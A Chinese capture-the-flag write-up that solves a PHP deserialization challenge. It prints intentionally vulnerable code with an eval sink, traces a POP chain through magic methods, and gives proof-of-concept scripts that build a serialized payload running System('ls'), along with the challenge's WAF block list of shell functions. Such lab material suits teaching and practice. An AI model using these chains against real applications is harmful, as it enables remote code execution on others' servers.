[NISACTF 2022]babyserialize
[NISACTF 2022]babyserialize
很明显这是一道反序列化的题目
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
需要用到的魔术方法:
__wakeup:当对象被反序列化时,自动调用本魔术方法
__call:从对象调用一个不存在的方法时,自动调用此函数
__set:当给不存在或不可访问的属性赋值时,自动调用此函数
__invoke:当对象被当做一个函数使用时,自动调用此函数
__toString:当一个对象被当做字符串时自动调用,返回一个字符串
用例
__call
<?php class Try1{ public function __call($method,$args){ echo "there is no such a method '$method'\n"; echo "你输入的参数是:$arg"; } } $a=new Try1(); $a->fuckyou("服了","哈哈","真的"); /*输出结果: there is no such a method 'fuckyou' 你输入的参数是:PHP */
__toString:
<?php class Try1{ public function __toString(){ return "This is example"; } } $a=new Try1(); $b=strtolower($a);//strtolower函数是将字符串转化成小写 echo $b; //输出结果:this is example
__invoke:
<?php class Try1{ public function __invoke($arg){ echo "the character you enter is $arg"; } } $a=new Try1(); $a(1); //输出结果:the character you enter is 1
__set:
<?php class Try1{ public function __set($name,$value){ echo "no such a properties called $name,you should pass the $value to anoter properties"; } } $a=new Try1(); $a->fun=123; //输出结果:no such a properties called fun,you should pass the 123 to anoter properties
题目源码:
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup() //当对象被反序列化时调用此方法
{
if($this->fun=="show_me_flag"){
hint(); //如果此类的fun属性为show_me_flag则调用hint函数
}
}
function __call($from,$val){//当调用一个不存在的方法时调用此方法
$this->fun=$val[0]; //此类的fun属性赋值为传入的参数
}
public function __toString()//当对象被当做字符串时调用此方法
{
echo $this->fun; //输出此类的fun,返回值为空格
return " ";
}
public function __invoke() //当对象被当做函数执行时调用
{
checkcheck($this->txw4ever);//将txw4ever放入check函数检查
@eval($this->txw4ever);//这里是我们的最终目的,让system函数执行txw4ever里的内容
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);//当对象被反序列化时调用此类里的ext属性里的nisa函数,将此类的x属性传参给nisa函数
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){//当调用一个不存在的方法时,把huang里的fun属性赋值为传入的参数
$this->huang->fun=$arg[0];
}
public function __toString(){//当对象被当做字符串时
$bb = $this->su;//将$bb赋值为su属性
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)//当给一个不存在或不可访问的属性时
{
$this->$name=$value;此类的name赋值为传入的参数
if ($this->fun = "sixsixsix"){
strtolower($this->a);//如果fun属性为sixsixsix把a属性里的字符串转化成小写
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
接下来构造pop链
有两种办法:
第一种直接跟着它的逻辑走
- 我们要触发NISA里的__invoke因为它里面有我们想要的eval函数
- 想要触发__invoke就需要Ilovetxw里的___toString,此时要找形如$a(asd)这样的,刚好这个类里面有我们需要的$bb()
- 想要触发__toString就需要four里面的__set,我们需要里面的strtolower($this->a)
- 想要触发__set就需要ilovetxw里的__call,里面有我们需要的$this->huang->fun=$arg[0],因为这个类里没有fun这个属性
- 想要触发__call就需要TianXiWei里的__wakeup,里面有我们需要的nisa(),而__wakeup在反序列化时就会自动执行
至此逻辑已经出来了
TianXiWei->__wakeup=>ilovetxw->__call=>four->__set=>Ilovetxw->___toString=>NISA->__invoke
构造poc
<?php
class NISA{
public $fun;
public $txw4ever;
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a= new TianXiWei();
$a->ext=new Ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw();
$a->ext->huang->a->su=new NISA();
$a->ext->huang->a->su->txw4ever="System('ls');";
echo(urlencode(serialize($a)));
?>
注意要把属性的值给删了
第二种办法:
用做标注的方法:
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";//fun=asda
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);//1 shell
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);//5 Ilovetxw
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];//4 four
}
public function __toString(){
$bb = $this->su;//2 NISA
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);//3 Ilovetxw
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
根据触发顺序标注数字和上次的类
然后构造poc:
<?php
class NISA{
public $fun;//fun=asda
public $txw4ever="System('ls');";
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);//1 shell
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);//5 Ilovetxw
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];//4 four
}
public function __toString(){
$bb = $this->su;//2 NISA
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='sixsixsix';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);//3 Ilovetxw
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
$a1=new NISA();
$a2=new Ilovetxw();
$a2->su=$a1;
$a3=new four();
$a3->a=$a2;
$a4=new Ilovetxw();
$a4->huang=$a3;
$a5=new TianXiWei();
$a5->ext=$a4;
echo urlencode(serialize($a5));
?>
注意这里是有waf的
<?php
function checkcheck($data){
if (preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/", $data, $match)) {
die('something wrong');
}
}
function hint(){
echo "flag is in /";
die();
}
?>
- 要避免调用hint()
- txw4ever内要经过waf.php的绕过